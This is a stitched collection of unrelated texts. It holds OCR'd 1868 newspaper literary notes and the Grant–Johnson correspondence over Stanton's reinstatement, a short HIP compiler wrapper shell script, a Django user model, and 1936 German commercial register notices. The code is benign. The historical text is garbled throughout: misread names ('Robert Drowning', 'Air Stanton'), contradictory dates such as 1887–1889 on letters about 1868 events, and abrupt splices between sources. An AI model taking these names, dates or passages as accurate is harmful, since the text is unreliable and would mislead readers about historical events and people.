Constantinople or the New Rome, as well as in Romania, which was settled by the ancient Romans. We have ourselves heard the Eternal City called Room by the late Granville John Penn; and Notes and Queries says that such was the pronunciation of writ Holland and Lord Lansdowne. The total number of publishing firms in the United States is one hundred and eighty, including the “subscription houses.” These firms are all in twenty towns or cities, in fourteen states. The city of New York alone contains 80 of them; Philadelphia, 31; Boston, 25; Hartford, 8; Cincinnati, 5; Albany, 4; Chicago, 4; Springfield, Massachusetts, and San Francisco, each 2; and the following one apiece: Hattie Creek, Mich.; Hallowell, Me.; Hinsdale, N.H.; Louisville, Ky.; New Haven, Ct.; Northampton, Mass.,; Portland, Me.; St. Louis, Mo.; Syracuse, N.Y.; Washington, D.C. (namely, the government) and Wilson, N. As is easily seen, all but sixteen of these firms are in seven places, and all but thirty-six of them are in the three cities of New York, Philadelphia, and Boston. New York has about 8-17 of them all by number; Philadelphia 3-17; Boston 5-84; more roughly still, we may say New York, Philadelphia 1-6; Boston, 1-7. —In England, last year, there were published 4144 new books and new editions, classified as follows: religious books and pamphlets, 849; minor works of fiction and children’s books, 585; novels 410; annuals and serials (volumes only), 257; travels, topography, 212; English philology and education, 210; European and classical theology and translations, 196; historical and biographical, 198; poetry and the drama, 150; politics and questions of the day, 141; science, natural history, &c., 133; medical and surgical, 121; law, 101; trade and commerce, etc. Agriculture, horticulture, &c., 62; illustrated works, (Christmas books), 62; art, architecture, &c., 53; naval, military and engineering, 42; miscellaneous, not classified, 359. A Cincinnati paper started, and all the papers are publishing, a capital joke played upon Mr. Fields, the Boston publisher, by James Russell Lowell. The latter sent an essay on the “Essex of American Humor,” in a strange handwriting and over a new name, for publication in the Atlantic Monthly. Mr. Fields found it so poor he could not use it till he learned who the real author was. The story is good enough to be true if it isn’t; for it is a fact, generally speaking, that literary preferment is very much like kissing, and goes by favor.—This story calls to mind another of similar character told of Washington Allston. After the distinguished painter had acquired a great reputation, a gentleman carried to him a sketch, stating that it was the work of a young man, and he wished Mr. Allston’s opinion as to its merits, and the promise which it indicated of future fame. Mr. Allston looked at it carefully, and then said: “If the young man has wealth, and wishes to indulge in painting as a recreation, let him do so, but he will never excel as an artist.” The gentleman carried the picture away, and probably Mr. Allston was much astonished to hear subsequently that the sketch which he had condemned was one of his own earliest attempts. Congress now has before it the question of purchasing for the congressional library Mr. Townsend’s History of the Great Rebellion, upon which he has been engaged for upwards of seven years. A New York paper says the work should never have been allowed to leave that city, but should have been purchased for the A star library, because it was there made, and is a complete and systematic work of the rebellion, which can never be replaced. The Historical Record, upon which the Encyclopaedia is based, comprises 80 volumes of 600 pages each, and the extent of this matter will be readily understood when we say that if the columns of print in the Record were extended in a direct line they would measure 75 miles. The Record is completed to the present time, and will be continued to the end of Mr. Johnson’s administration. The Encyclopedia is nearly finished for 1861, 1862, and 1863, and when completed will embrace 20 volumes of 1200 pages each of manuscript. Such is the completeness of the work that it will require Mr. Townsend some 12 years' time to finish it, including the 7 years already given to it. Horace Greeley thus characteristically advertises an autograph of Edgar A. Poe’s “A gushing youth once wrote me to this effect: “Dear sir:—Among your literary treasures you have doubtless preserved several autographs of our country’s late lamented poet, Edgar A. Poe.” Poe. If so, and you can spare one, please enclose it to me, and receive the thanks of yours truly. I promptly responded as follows: ‘Dear sir: —Among my literary treasures there happens to be exactly one autograph of our country's late lamented poet, Edgar A. Poe. It is his note of hand for $50, with my endorsement across the back. It cost me exactly $50.75 (including protest), and you may have it for half that amount. Yours, respectfully, That autograph, I regret to say, remains on my hands, and is still for sale at the original price, despite the lapse of time and the depreciation of our currency.” Miss Edmonia Lewis, the young American sculptress, excites much interest abroad not only from her cleverness in sculpture, but from her parentage. She is scarcely twenty-two, was born in Greetibush, opposite Albany, of Indian and negro parentage, and bears in her face the typos of her origin. In her coarse and appropriate attire, with her black hair loose, and grasping in her hand the chisel with which she does not disdain, perhaps with which she is obliged, to labor, and with her large, black, sympathetic eyes brimful of unaffected enthusiasm, Miss Lewis is unquestionably the most interesting representative of our country in Europe—interesting not alone because she belongs to a condemned and hitherto oppressed race, which labors under the imputation of artistic inability, but because she has already distinguished herself in sculpture—not perhaps in the highest grade, according to the accepted canons of the art, but in Its naturalistic, not to say the most pleasing, forms; and her future is full of promise. Robert Drowning, the poet, was cited the other day in a London court, for the value of two bottles of port wine, surreptitiously ordered by his servant lad. He made an indignant speech, proved that none of his household ever used port wine, gained his case, and, in conclusion, said that he had lost a whole day in connection with this paltry claim, but he resisted it on principle. He desired that his costs should be given to the poor, for which the court thanked him.—it is a comfort to know that respectable great people do as respectable common people do. The queen of England says in her new book: “Made ourselves ‘clean and tidy’ and then sat down to our dinner." This is just the case with some thousands of human beings in this country every day. Whether they put the fact in their diaries is unknown.—Mr. Tennyson has a new poem entitled Wages in the February number of Macmillan’s magazine.—The first number of “George Silverman’s Explanation," Dickens’s new novel, commenced in the January Atlantic, was to appear in England, February 1. —A volume of poems, by the author of “Chronicles of the Schumann-Cotta Family,” has been published in London. —Schiller’s poems, printed on good paper, are sold in Germany for five cents, now the copyrights of the original publishers have expired.—M. de Lamartine's condition is described in terms that must awaken feelings of contrition in some of his merciless detractors. He sits speechless all day, leaving His armchair only when two services eifry him to his meals, when he eats voraciously, and his recovery is scarcely possible.—Mr. (iron, the historian of Greece, will immediately publish a new. Work—his own review of the work of Mr. John Stuart Mill, entitled "Examination of Sir William Hamilton’s Philosophy."—Hon. Mrs. Norton, in her novel of "Old Sir Douglas," winds up a highly-wrought death scene thus: "The anguish of mortal pain seemed to melt into pence. A great sigh escaped him, such as bursts from the bosom in some sudden relief from suffering, and the handsome man was a handsome corpse."—Rev. Athanasius Laurent, Charles Coquette, president of the Paris Presbyterian Council of the reformed church, is dead. He was born in Paris, August 27, 1705, was graduated at the Divinity school of Montauk, and passed twelve years in the chief cities of Holland; then returned to Paris, at the urgent solicitation of Cuvier, and became pastor of a reformed church in Paris, and in 1858 was returned to the national assembly by 10,914 votes. He was an author of considerable repute.—Macmillan & Co. of London are now the publishers of the learned side, as it is called, of the university of Oxford. The University Press is a company in which the university holds the largest number of shares, the other "skilled partners" or proprietors being Mr. Coombe, Mr. E. Gardner, Mr. K. P. Hall, and Mr. Lutlinin, who maintain their own paper, that their own type, make the ink, and print not only Bibles and Prayers, but a large number of learned, historical, philological and religious books. The Oxford Bibles and Book of Common Prayer are disposed of in London, at an establishment in Paternoster Row, exclusively belonging to the Oxford Press. THE PITTSBURGH CORRESPONDENCE. Grant's letter to the President. The Speaker laid before the House of Representatives, on Thursday, a communication from the war department, enclosing the following documents, containing a full account of the difficulty between the president and Gen Grant relative to the surrender of the war office to Secretary Stanton on the occasion of his reinstatement by the Senate: SIX REPRESENTATIVES STANTON TO THE BOISE. War Department, Tuesday, February 4. In answer to the resolution of the House of Representatives of the 3rd, I transmit herewith copies furnished me by Gen Grant, of correspondence between him and the president, relative to the secretary of war, and which he reports to be all the correspondence he had with the president on the subject. I have had no correspondence with the president since the 12th of August last. After the action of the Senate, on his alleged reasons for my suspension from the office of secretary of war, I resumed the duties of that office as required by the act of Congress, and have continued to discharge them without any personal or written communication with the president in the name of the president with the secretary, and I have received no orders from him. The correspondence sent herewith embraces all the correspondence known to me on the subject referred to in the resolution of the House of Representatives. I have the honor to be, sir, with great respect, your obedient servant, Emerson Al. Stanton, secretary Of war. To Hon Schuyler Colfax, speaker of the House of Representatives. EXCHANGE OF RATES. Headquarters of the Armies of the United States, Washington, D.C., January 25, 1868. It is Excellency, Andrew Johnson, president of the United States—Sir:—On the 24th instant I requested you to give me in writing the instructions which you had previously given me verbally, not to obey any order from Edwin M. Stanton, secretary of war, unless I knew that it came from yourself. To this written request I received a message that has fallen doubt in my mind of your intentions. To prevent any possible misunderstanding, therefore, I renew the request that you will give me written instructions, and until they are received will suspend action on your verbal order. I am compelled to ask these instructions in writing, in consequence of the many gross misrepresentations affecting my personal honor circulated through the press for the last fortnight, purporting to come from the president of conversations which occurred either with the president privately in his office, or in cabinet meeting. What is written admits of no misunderstanding, and in view of the misrepresentations sent forward, it will be well to state the facts in the case. Some time after I assumed the duties of secretary of war, ad interim, the president asked my view as to the course Mr. Stanton would have to pursue, in case the Senate should not concur in his suspension, to obtain possession of his office. My reply was in substance, that Mr. Stanton would have to appeal to the courts to reinstate him, illustrating my position by citing the grounds I had taken in the case of the Baltimore police commissioners, in that case, I did not doubt the technical right of Governor Swann to remove the old commissioners and to appoint their successors, as the old commissioners refused to give up. However, I contended that no resource was left but to appeal to the courts. Finding that the president was desirous of keeping Mr. Stanton out of office whether sustained in the suspension or not, I stated that I had not looked particularly into the tenure-of-office bill, but that what I had stated was a general principle, and if I should change my mind, in this particular case, I would inform him of the fact. Subsequently, on reading the tenure-of-office bill closely, I found that I could not, without violation of the law, refuse to vacate the office of secretary of war, the moment Air Stanton was reinstated by the Senate, even though the president ordered me to remain, which he never did. Taking this view of the subject, and learning on Saturday, the 11th Inst., that the Senate had taken up the subject of Air Stanton's suspension, after some conversation with Lieut Gen Sherman and some members of my staff, in which I stated that the law left me no discretion as to my action, should Air Stanton be reinstated, and that I intended to inform the president, I went to the president for the sole purpose of making this decision known, and did so make it known, in doing this, I fulfilled the promise made in our last preceding conversation on the subject. The president, however, instead of accepting my view of the requirements of the tenure-of-office bill, contended that he had suspended Mr. Stanton under the authority given by the constitution, and that the same authority did not preclude him from reporting as an act of courtesy, his reasons for the suspension to the Senate; that having been appointed under the authority given by the constitution and not under any act of Congress, I could not be governed by the act. I stated that the law was binding on me, constitutional or not, until set aside by the proper tribunal. An hour or more was consumed, each reiterating his views on this subject, until, getting late, the president said he would see me again. I did not agree to call again on Monday, nor at any other definite time, nor was I sent for by the president until the following Tuesday. From the 11th to the cabinet meeting on the 14th, a doubt never entered my mind about the president’s fully understanding my position, namely: that if the Senate refused to concur in the suspension of Mr. Stanton, my powers as secretary of war, and interim, would cease, and Mr. Stanton's right to re-same at once the functions of his office would, under the law, be indisputable, and I acted accordingly. With Mr. Stanton, had no communication, direct or indirect, on the subject of his reinstatement, during his suspension, I knew it had been recommended to the president to send in the name of Gov. Cox of Ohio for secretary of war and thus save all embarrassment, a proposition that I sincerely hoped he would entertain favorably, even Sherman seeing the President at my particular request to urge this, on the 13th inst. On Tuesday, the day Air Stanton re-entered the office of the secretary of war, Gen Comstock, who had carried my official letter announcing that with Mr Stanton’s reinstatement by the Senate I had ceased to be secretary of war, ad interim, and who saw the president open and read the communication, brought back to me from the president a message that he wanted to see me that day, at the cabinet meeting, after I had made known the fact that I was no longer secretary of war, ad interim. At this meeting, after opening it as though I was a member of his cabinet, when reminded of the notification already given him that I was no longer secretary of war, ad interim, the president gave a version of the conversation alluded to a ready. In this statement it was asserted that in both conversations I had agreed to hold on to the office of secretary of war until displaced by the courts, or resign, so as to place the president where he would have been had I never occupied the office. After hearing the president through, I stated our conversations, substantially given in this letter. I will add that my conversation before the cabinet embraced other matter not pertinent here and is therefore left out. I in no wise admitted the correctness of the president’s statement of our conversation, though to soften the evident contradiction my statement gave. I said, alluding to our first conversation on the subject, “the president might have understood me the way he said, namely, that I had promised to resign if I did not resign the reinstatement. I made no such promise.” I have the honor to be, very respectfully, your obedient servant. Dient servant, U. S. Grant, General. GEN GRANT'S APPLICATION FOR INSTRUCTIONS. Headquarters Army of the United States, Washington, January 24, 1889. Excellency, Andrew Johnson, president of the United States—Sir: I have the honor very respectfully to request to have in writing, the order which the president gave me verbally on Sunday the 1st instant, to disregard the orders of E. M. Stanton as secretary of war until I knew from the president himself that they were his orders. I have the honor to be very respectfully your obedient servant. V. S. Grant, General, The following is the endorsement on the above note: — As requested in this communication, Gen Grant is instructed, in writing, not to obey any order from the war department assumed to be issued by the direction of the president, unless such order is known by the instructions to have been authorized by the executive. Amos Johnson. January 29, 1889. GRANT WILL OBEY STANTON. Headquarters Army of the United States, Washington, January 1st, 1887. His excellency, Andrew Johnson, president of the United States, sir, I have the honor to acknowledge the return of my note of the 24th, with your endorsement thereon, that I am not to obey any order from the war department assumed to be issued by direction of the president, unless such order is known by me to have been authorized by the executive; and in reply thereto, say that I am sworn by the secretary of war that he has not received from the executive any order or instructions limiting or impairing his authority to issue orders to the army as heretofore been his practice, under the law and customs of the department. While his authority to the war department is not countermanded, it will be satisfactory evidence to me that any orders issued from the war department by direction of the president are authorized by the executive. I have the honor to be, very respectfully, your obedient servant, U. S. Grant, General. THE PRESIDENT'S VERSION OF THE OFFICE. Executive Mansion, January 11, 1888. General: I have received your communication of the 28th Inst., renewing your request of the 24th, that I should repeat in a written form my verbal instructions of the 24th inst., viz: "That you obey no order of Edwin U. Stanton as secretary of war, unless you have information that it was issued by the president." In submitting title, with which I comply, on the 19th Inst., you take occasion to allude to the recent publication in reference to the circumstances caused by the vacation by yourself of the office of secretary of war, and interim. and with the view of correct statements which length your recollection of the facts under which, without the "auction of the president, from whom you had received and accepted the appointment, you yielded the department or war to the present incumbent, as stated in your communication. Some time after you had assumed the duties of secretary of war, ad interim, we, interchanged views regarding the course that should be pursued in the event of the non-concurrence by the Senate in the suspension of Mr. Stanton. I sought that interview, calling myself at the war department. My own object in then bringing the subject to your attention was to ascertain definitely what would be your own action, should such an attempt be made for his restoration to the war department. That object was accomplished, for the interview terminated with the distinct understanding that if, upon reflection, you would prefer not, to become a party to the controversy, or should conclude that, it would be your duty to surrender the department to Mr. Stanton upon action in his favor by the Senate, you were to return the office to me, prior to a decision by the Senate, in order that, if I desired to do so, I might designate someone to succeed you. It must have been apparent to you that had not this understanding been reached, it was my purpose to relieve you from the further discharge of your duties as secretary of war, ad interim, and to appoint some other person in that capacity. Other conversations on the subject ensued, all of them having on my part, the same object and leading to the same conclusion as the first. It is not necessary. | 40,706 |
https://github.com/krishoza/HIP/blob/master/bin/hipcc_cmake_linker_helper | Github Open Source | Open Source | MIT | 2,021 | HIP | krishoza | Shell | Code | 40 | 173 | #!/bin/bash
SOURCE="${BASH_SOURCE[0]}"
HIP_PATH="$( command cd -P "$( dirname "$SOURCE" )/.." && pwd )"
HIP_COMPILER=$(eval "$HIP_PATH/bin/hipconfig --compiler")
if [ "$HIP_COMPILER" = "hcc" ]; then
HCC_HOME=$1 $HIP_PATH/bin/hipcc "${@:2}"
elif [ "$HIP_COMPILER" = "clang" ]; then
HIP_CLANG_PATH=$1 $HIP_PATH/bin/hipcc "${@:2}"
else
$HIP_PATH/bin/hipcc "${@:1}"
fi | 50,446 |
https://github.com/DjangoStudyTeam/django-China-api/blob/master/api/apps/users/models.py | Github Open Source | Open Source | MIT | 2,021 | django-China-api | DjangoStudyTeam | Python | Code | 158 | 734 | import os
from core.validators import FileValidator
from django.conf import settings
from django.contrib.auth.models import AbstractUser
from django.core.files.base import ContentFile
from django.db import models
from django.utils.translation import gettext_lazy as _
from imagekit.models import ImageSpecField
from imagekit.processors import ResizeToFill
from .avatar_generator import AvatarGenerator
def user_avatar_path(instance, filename):
return os.path.join("users", "avatars", instance.username, filename)
class User(AbstractUser):
AVATAR_MAX_SIZE = 2 * 1024 * 1024
AVATAR_ALLOWED_EXTENSIONS = ["png", "jpg", "jpeg"]
AVATAR_DEFAULT_FILENAME = "default.jpeg"
nickname = models.CharField(_("nickname"), max_length=30, blank=True)
avatar = models.ImageField(
_("avatar"),
upload_to=user_avatar_path,
validators=[FileValidator(max_size=AVATAR_MAX_SIZE, allowed_extensions=AVATAR_ALLOWED_EXTENSIONS)],
blank=True,
)
avatar_thumbnail = ImageSpecField(
source="avatar",
processors=[ResizeToFill(70, 70)],
format="jpeg",
options={"quality": 100},
)
special = models.BooleanField(_("special"), default=False)
inviter = models.ForeignKey(
settings.AUTH_USER_MODEL,
on_delete=models.SET_NULL,
verbose_name=_("inviter"),
blank=True,
null=True,
)
titles = models.ManyToManyField(
"titles.Title",
through="users.UserTitle",
verbose_name=_("titles"),
)
class Meta(AbstractUser.Meta):
pass
def save(self, *args, **kwargs):
if not self.pk:
if not self.nickname:
self.nickname = self.username
if not self.avatar:
self.set_default_avatar()
super(User, self).save(*args, **kwargs)
def set_default_avatar(self):
avatar_byte_array = AvatarGenerator.generate(self.username)
self.avatar.save(
self.AVATAR_DEFAULT_FILENAME,
ContentFile(avatar_byte_array),
save=False,
)
class UserTitle(models.Model):
user = models.ForeignKey(User, verbose_name=_("user"), on_delete=models.CASCADE)
title = models.ForeignKey("titles.Title", verbose_name=_("title"), on_delete=models.CASCADE)
primary = models.BooleanField(_("primary"), default=False)
| 18,271 |
3ECVX2WPQSA73UHWXJ6VZKKQZRKTP3SS_3 | German-PD-Newspapers | Open Culture | Public Domain | 1,936 | None | None | German | Spoken | 10,746 | 20,180 | Die Erklärung lautet: Auch wenn mehrere Geschäftsführer bestellt sind, kann einem Geschäftsführer die alleinige Vertretungsbefugnis erteilt werden. Zum Geschäftsführer ist bestellt der Kaufmann Dr. Richard Ganß in Chemnitz. Er darf die Gesellschaft nur gemeinschaftlich mit einem anderen oder gemeinschaftlich mit einem Prokurator vertreten. Der frühere Geschäftsführer Curt Scheller ist befugt, die Gesellschaft allein zu vertreten. Auf Blatt 95537 betr. die Firma „Rapid“ Internationale Transport Port-Gesellschaft mit beschränkter Haftung in Chemnitz. Die Gesellschaft auf Blatt 1W Bs, betr. die Firma Strickhandschuhschrift „Striafabrik“ in Chemnitz: Das Vermögen der Gesellschaft ist auf Grund vom 5. Juli 1934 (R. G. BLI) durch Gesellschaftsbeschluss vom 6. Februar 1936, unter Auschluss der Liquidation, auf den alleinigen Geschäftsführer, den Kaufmann Max Richard Ulze in Siegmar-Schönau, übertragen worden. Das Geschäft wird von Altenau, Gesellschaft mit beschränkter Haftung, i. G. 6 des Gesetzes vom 5. Juli 1934 wird darauf hinweisend, dass den Gläubigern der Gesellschaft in beschränkter Haftung, die sich binnen sechs Monaten nach dieser Bekannmachung zu diesem Zweck melden, Sicherheit zu leisten ist, soweit sie nicht Befriedigung verlangen können. Auf Blatt 3011, betr. die Firma Max Schneider in Chemnitz: Die Firma ist erloschen. Auf Blatt 1699 betr. die Firma Rauch & Gruß in Chemnitz: Die Gesellschaft ist aufgelöst, es findet Liquidation statt. Zu Liquidatoren sind bestellt die Kaufleute Alexander Rauch und Paul Gruß, beide in Chemnitz. Sie sind nur gemeinschaftlich zur Vertretung der Liquidationsfirma befugt. Auf Blatt 11 169, betr. die Firma Curt Rothe, Molkerei und Feinkäse in Chemnitz: Der Inhaber Curt Rothe ist ausgeschieden. Das Handelsunternehmen wird von einer Kommanditgesellschaft fortgeführt. Gesellschafterin ist Frau Elfriede verw. Alich geb. ohl in Breslau, als persönlich haftende Gesellschafterin, und eine Kommanditistin. Die Gesellschaft hat am 1. Mai 1935 begonnen. Die Firma ist geändert in: Curt Rothe Nachfolger Molkerei und Feinkäse. Auf Blatt AN, betr. die Firma Sächsische Spinnfaser Aktiengesellschaft in Chemnitz: Das Vorstandsmitglied Hans Szalla ist ausgeschieden. Vorstandsmitglied ist bestellt der Ingenieur Ernst Wachendorff in Se Rh Amtsgericht Chemnitz, 20. Februar 1936. Nachfolgende im hiesigen Handelsregister Abteilung A eingetragene Firmen sollen gemäß § 31 Abs. 2 S 6GB und § 141 S 6 von Amts wegen gelöscht werden. Nr. 26: Thyge Petersen, Clausthal, Nr. 32: Julius Meyer, Clausthal, Nr. 45: Wilhelm Demuth, Festenburg, Nr. 51: Christian Emmerich, Lautenthal, Nr. 64: Wilhelm Meyer, Buntenbock, Nr. 69: Elise Dommes, Hahnenklee, Nr. 72: Gerhard Wienecke, Hahnenklee, Nr. 75: Fritz Schwenzel, Hahnenklee, Nr. 79: Gerhard Drechslerr, Hahnenklee, Nr. 84: Wilhelm Prüfert, Nr. 85: August Lachwitz, Altenau, Nr. 121: O. Drechslerr, Zweigniederlassung, Zellerfeld, Nr. 169: G. A. Brand, Clausthal, Nr. 172: Dr. Edmund Prael, Apotheke, Nr. 186: Gustav Körber, Clausthal, Nr. 126: F. Bösse, Clausthal, Nr. 194. Curt Hoffmann-Pinther, St. Andreasberg, Nr. 209: Veit & Sohn, offene Handelsgesellschaft, Clausthal, Nr. 210: Spangenberg & Moldenhauer, offene Handelsgesellschaft in Liquidation, Clausthal, Nr. 221: Bergapotheke Clausthal A. Grimm, Clausthal, Nr. 234: Albert Lies, Hahnenklee, Nr. 235: Emil Loorz, Bockswiese, Nr. 236: Willi Natermann, Clausthal, Nr. 248: Konfektionshaus Warnecke, Inhaber Kaufmann Eugen Brand, Clausthal, Nr. 250: Friedrich Ahrend, Clausthal, Nr. 28: Bernhard Mann, Clausthal, Nr. 27; Paul Schultze & Co, Clausthal, Nr. 259: Sanatorium Hahnenklee, Inhaber Dr. med. Klaus, Hahnenklee, Nr. 210: Oberharzer Kies-Vertrieb Wilhelm Friedrich, Lautenthal, Nr. 314: Hugo Crone, Clausthal. Die Firmeninhaber oder deren Rechtsnachfolger sind unbekannt oder nicht aufzufinden, oder es ist von ihnen die Löschung nicht zu erlangen, obwohl Handelsgeschäfte von den betreffenden Firmen nicht mehr betrieben werden. Es werden deshalb die Inhaber der Firmen oder deren Rechtsnachfolger hierdurch aufgefordert, einen etwaigen Widerspruch gegen die Löschung binnen drei Monaten bei dem unterzeichneten Gericht geltend zu machen, widrigenfalls die Löschung erfolgen wird. Amtsgericht Clausthal-Zellerfeld, 15. Februar 1936. Dargun. Handelsregistereintrag vom 5. Februar 1936. Firma A. F. Wagenknecht - Neukalen: Die Firma lautet jetzt: A. F. Wagenknecht, Inh. Maria Wagenknecht. Amtsgericht Dargun Dargun. Handelsregistereintrag vom 5. Februar 1936. Firma Kaufhaus Erns Jander, Neukalen: Die Firma ist erloschen. Amtsgericht Dargun. Ebersbach, Sachsen. Im Handelsregister ist heute auf Blatt 684 bei der Firma Bruno Heinrich in Neugersdorf eingetragen worden: Der Farbereißereibesitzer Heinrich in Neugersdorf ist als Inhaber ausgeschieden. Charlotte vhl. Heinrich, geb. Vogt, in Neugersdorf im Betriebe des Geschäftes begründeten Verbindlichkeiten des verstorbenen Inhabers; es gehen auch die in dem(orderung) die Erbin über - Ebersbach, den 2 Februar 1936. Das Amtsgericht Ebersbach. Am hier, gemäß § 2 des Gesetzes über Auflösung und Liquidation von Gesellschaften und Genossenschafen vom 9. Oktober 1834 (RGBl. S 919 am 29. Januar 1936 gelöscht. Amtsgericht Essen, Ruhrot. [172511] In unser Handelsregister Abt. B sind am 19. Februar 1936 auf Grund des § 82 des Gesetzes vom 9. Oktober 1934 folgende Gesellschaften mit beschränkter Haftung gelöscht worden: H.-R.B 1088, Firma Ewald Kranefeld, Elektrizitäts Gesellschaft mit beschränkter Haftung, Essen. R. B 1180, Firma Robert Dellwig, Elektrizitäts Gesellschaft mit beschränkter Haftung, Essen. H.-R. B 1396, Firma Nova-Haus Gesellschaft mit beschränkter Haftung, Essen. H.R. B 1414, Firma Rheinische Bau-Stoff Grosshandlung, Gesellschaft mit beschränkter Haftung Essen. H.-R. B 1526, Firma Rheinisch Westfälische Kunstschiebeschmiedegesellschaft mit beschränkter Haftung, Essen. H.-R. B 1920, Firma Verlag das freie Wort, Gesellschaft mit beschränkter Haftung, Essen. H.R. B 1618, Firma Gut Mühlenhof Essen. H.R. B 2250, Firma Westfälische Metallwarenverwertungs-Gesellschaft mit beschränkter Haftung, Essen. Amtsgericht Essen, Esslingen. [72512] Handelsregistereintragungen. Einzelne Reg.: Am 10. Februar 1936 bei der Firma Hermann Kölle in Esslingen: Prokura ist erteilt Willy Kölle, Kaufmann in Esslingen. Am 21. Februar 1936 die Firma Wilh. Brandt in Esslingen. Inhaber: Wilhelm Brandt jr., Goldarbeiter in Esslingen. Ges.F-Reg. Am 21. Februar 1936 bei der Firma Gustav Schwarz jr. in Esslingen: Neuer Firmawortlaut: Gustav Schwarz. Gesellschaftsfirmenregister. Am 1. Februar 1936 bei der Firma Maschinenfabrik Esslingen in Esslingen: Gesamtprokurist, vertretungsberechtigt zusammen mit einem Vorstandsmitglied oder einem Prokuristen Dr. Theodor Klingenstein, Oberingenieur in Zuffenhausen. Am 12. Februar 1936 bei der Firma Berndorfer Metallwagenfabrik Arthur Krupp A.-G. Werk Esslingen a. N., Sitz in Berndorf, Niederösterreich, Zweig-niederlassung in Esslingen: Prokura des Walter Falkenbach erloschen. Am 14. Februar 1936 bei der Firma Carl Mahr Gesellschaft mit beschränkter Haftung in Esslingen: Prokura ist erteilt Wilhelm Fromm, Kaufmann in Esslingen. Am 21. Februar 1936 bei der Firma Wilh. Brandt in Esslingen: Gesellschaft ist aufgelöst. Geschäft mit Firma ist auf den Gesellschafter Wilhelm Brandt jr., Goldarbeiter in Esslingen, allein übergegangen (s. Einzelne Reg.). Amtsgericht Esslingen. Flensburg. [725131] Eintragung in das Handelsregister A unter Nr. 782 am 15. Februar 1936 bei der Firma „J. H. Beckmann & Co.“ in Flensburg: Dem Kaufmann Karl Heinz Schiller in Flensburg ist Prokura erteilt Amtsgericht Flensburg. Flensburg. 725141 Eintragung in das Handelsregister A unter Nr. 2212 am 15. Februar 1836 bei der Firma „Boy Magnus & Co“ in Flensburg: Inhaber ist der Kaufmann Bruno Uldall in Flensburg. Amtsgericht Flensburg. Flensburg. 72515 Eintragung in das Handelsregister B unter Nr. 422 am 15. Februar 1936 bei der Firma „Vordische Ofenfabrik und Gießerei Gesellschaft mit beschränkter Haftung“ in Flensburg: Dem Buchhalter Arthur Botsch in Flensburg ist Prokura erteilt, derart, daß er nur gemeinschaftlich mit dem Geschäftsführer zur Vertretung der Gesellschaft befugt ist. Amtsgericht Flensburg. Flensburg. Eintragung in das Handelsregister 4 unter Nr. 1520 am 1. Februar 1936 bei der Firma „Gebrüder Petersen G. m. b. S. & Co. Kommanditgesellschaft in Flensburg: Es ist ein Kommanditist ausgegangen und ein Kommanditist eingetreten. Amtsgericht Flensburg. Flensburg. Veröffentlichung im Sandels-Register. B 2734 Frankfurt am Main. Frankfurter Allgemeine Grundstücksaaktiengesellschaft: Die Firma ist exlöschen. B E6 Collichon, Gesellschaft zur - Simon - Durch die heute eingetragene Firma Schiffahrts- und Ordnersgesellschaft mit beschränkter Haftung, die Vornahme aller damit zusammenhängenden Geschäfte. [725161 71236] vertrag eine neue Fassung erhalten. Unter E. M. B. in Emden ist Erkältung (Erleichterung). Sind mehrere Gesellschaften in Emden, 14. Februar 1936, vorhanden, so sind je zwei Gesellschafter berufein einzeln Gegenstand des Unternehmens, nämlich die Firma Tonwerke Eschershausen, entsprechende Spezialitäten, Krankenpflegeartikel, technisch verwandte Artikel, sowie die Bestellung und Verarbeitung aller Waren. Die Gesellschaft ist befugt, andere Unternehmen zu erwerben, sich an solchen zu beteiligen, ihre Vertretung zu übernehmen und alle Rechts- und Geschäfte abzuschließen, die ihren Zwecken entsprechen können. B 4701. Stahl - Chemie, Gesellschaft mit beschränkter Haftung: Wilhelm Bindernagel ist nicht mehr Geschäftsführer. Rechtsanwalt Walter Wagner, Frankfurt am Main, ist zum Geschäftsführer bestellt worden. B 5268. Devag, Dus u. Co., Elektrizitätsgesellschaft mit beschränkter Haftung: Die Prokura Hedwig Reineboth ist erloschen. B 3942. J. G. Farbenindustrie, Aktiengesellschaft: - - Günther Frank-Fahle, Berlin, 2. Alexander Bräuninger, Kaufmann in Leverkusen-Wiesdorf, 3. Dr. Theodor Thimmann, Apotheker in Köln-Riehl, 4. Hans-Heinrich von Dehn-Rotfelser, Rechtsanwalt in Leuna (Kr. Merseburg), ist Gesamtprokura erteilt; sie sind in Gemeinschaft mit einem Vorstandsmitglied oder einem zweiten Prokuristen zur rechtsverbindlichen Zeichnung der Gesellschaft berechtigt. B 5405. Röhren- und Roheisenhandel Gesellschaft mit beschränkter Haftung: Der Kaufmann Carl Heinz Stark in Frankfurt am Main ist Generalprokurist erteilt; jeder derselben ist berechtigt, in Gemeinschaft mit einem Geschäftsführer oder einem anderen Prokuristen die Gesellschaft zu vertreten und die Firma zu zeichen. B 3947. Union Schuhvertrieb, Gesellschaft mit beschränkter Haftung: Durch Beschluss der Gesellschafterversammlung vom 5. Februar 1936 ist der Gesellschaftsvertrag in § 1 (Firma) und § 2 (Gegenstand des Unternehmens) geändert. Die neue Firma lautet: Kanstein Textilvertretungen, Gesellschaft mit beschränkter Haftung. Gegenstand des Unternehmens ist die Vertretung in Textilwaren jeder Art und aller in die Branche einschlägigen Artikel. Die Gesellschaft ist berechtigt, sich in jeder zulässigen Form an anderen Unternehmen gleicher oder ähnlicher Art, sei es im In- oder Ausland, zu beteiligen, solche Unternehmen zu erwerben oder auch alle Geschäfte einzugehen, die geeignet sind, den Geschäftszweck der Gesellschaft zu fördern und geldbringend zu gestalten. B 99. Bolkhaus, Gesellschaft mit beschränkter Haftung: Otto Misbach, Georg Reusch, Georg Hertel, Ernst Mülansky und Karl Ernst Schubert sind nicht mehr Geschäftsführer. Abteilungsleiter Julius Thiede, Berlin, ist zum Geschäftsführer bestellt. B 2225. Torpedo-Werke Aktiengesellschaft Fahrräder und Schreibmaschinen: Durch Beschluss der Generalversammlung vom 20. Dezember ist der Gesellschaftsvertrag geändert. B 1064. Voigt & Haeffner, Aktiengesellschaft: Das Grundkapital ist um 8 225 000 RM herabgesetzt und beträgt jetzt 1975 000 RM. B 5275. Buchdruckerei S. Schack Co., Gesellschaft mit beschränkter Haftung: Die Prokura Walter Wildland ist erloschen. Dem Kaufmann Eduard Röhler, Darmstadt, ist Prokura erteilt. B 5406. Jakob Decker, Gesellschaft mit beschränkter Haftung. Unter dieser Firma ist am 8. Februar 1936 eine Gesellschaft mit beschränkter Haftung mit dem Sitz in Frankfurt am Main, die den Sitz von Kassel hierher verlegt hat, eingetragen worden. Der Gesellschaftsvertrag ist am 26. September 1934 festgesetzt und durch die Beschlüsse der Gesellschafterversammlungen vom 15. November 1934, 8. April 1935 sowie 24. Mai 1935 (§ 2, Sitz der Gesellschaft) und 